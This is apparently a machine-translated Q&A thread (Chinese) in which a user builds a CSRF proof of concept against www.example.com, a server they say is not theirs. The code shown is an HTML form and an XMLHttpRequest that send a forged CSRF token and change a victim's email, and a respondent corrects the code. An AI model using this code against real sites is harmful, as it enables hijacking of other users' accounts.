2017-07-02 183 views
0

说明服务器:发送HTTP POST请求,用指定的CSRF令牌

我想创建一个CSRF POC,但问题是,CSRF令牌是需要在www.example.com为了防止CSRF攻击。 幸运的是,我设法创建了一个有效的,总是的CSRF-Token;可以说“abcdef”。所以现在我可以创建一个有效的CSRF POC,只要我可以发送CSRF-Token。 这是可能与例如AJAX?我搜查了半个小时,但在这方面找不到任何答案,但我想这就是我。

这是我的POC至今:

<form action="http://www.example.com/change-mail" method="post"> 
     <input type="submit"> 
     <input type="hidden" name="email" value="[email protected]"> 
     <!-- TODO: Send the CSRF-Token "abcdef" with it too! --> 
    </form> 

帮助表示赞赏。

编辑@丹尼尔

会是这样的工作?

HTML部分:

<!DOCTYPE html> 
<html> 
<head> 
    <script type="text/javascript" src="test.js"></script>  
</head> 
<body> 
<b>Email</b><br><br> 
    <form id="email"> 
     <label for="email">&nbsp;Email&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</label> 
     <input type="text" id="email" /> 
     <br><br> 
     <input type="button" id="email" value="email"/> 
    </form> 
    </body> 
</html> 

JavaScript部分:

<script> 
window.addEventListener('DOMContentLoaded', function() { 
var email = document.querySelector('input#email'); 


email.addEventListener('click', function() { 
    var emailStr = email.value, 
     url="http://www.example.com/change-mail"; 
    if (window.XMLHttpRequest) { 
     xmlHttpReq = new XMLHttpRequest(); 
    } 
    else if (window.ActiveXObject) { 
     xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); 
    } 
    xmlHttpReq.open('POST', url, true); 
    xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
    xmlHttpReq.setRequestHeader('X-CSRF-Token', abcdef); 
    xmlHttpReq.send("email="+emailStr); 
    </script> 

在此先感谢,我必须处理响应吗? 现在,当我点击电子邮件按钮时,当我登录HTTP请求时,没有任何反应......太糟糕了。

+0

你能后的Ajax调用的JavaScript? –

+0

你是什么意思?为了确保,www.example.com不是我的服务器。 – Yahboysurge

+0

您需要编写javascript代码才能进行ajax调用。看看我的意思是在这里:https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files –

回答

0

当前代码存在一些问题,我在下面更正了它。

window.addEventListener('DOMContentLoaded', function() { 
 
    var email = document.querySelector('input#submit'); 
 
    
 
    email.addEventListener('click', function() { 
 
     var emailStr = email.value, 
 
     url="http://www.example.com/change-mail"; 
 
     if (window.XMLHttpRequest) { 
 
     xmlHttpReq = new XMLHttpRequest(); 
 
     } 
 
     else if (window.ActiveXObject) { 
 
     xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); 
 
     } 
 
     xmlHttpReq.open('POST', url, true); 
 
     xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
 
     xmlHttpReq.setRequestHeader('X-CSRF-Token', 'abcdef'); 
 
     xmlHttpReq.send("email="+emailStr); 
 
    }); 
 
    });
<!DOCTYPE html> 
 
<html> 
 
    <body> 
 
    <b>Email</b><br><br> 
 
    <form id="emailform"> 
 
     <label for="email">&nbsp;Email&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</label> 
 
     <input type="text" id="email" /> 
 
     <br><br> 
 
     <input type="button" id="submit" value="email"/> 
 
    </form> 
 
    </body> 
 
</html>

原来的答案: 您可以将头添加到您的XMLHttpRequest(AJAX)调用:

xhr.setRequestHeader('X-CSRF-Token', csrf_token); 
+0

谢谢Daniël!我该如何结合ajax调用和post参数。猜猜我不能这样做: '

' – Yahboysurge

+0

抱歉,如果这是一个愚蠢的问题。我刚刚对ajax和其他一些ish – Yahboysurge

+0

这是一个很好的问题,其中涵盖了一些JavaScript的Ajax表单交互https://stackoverflow.com/questions/20349635/how-to-use-xhr-in-pop-up-window –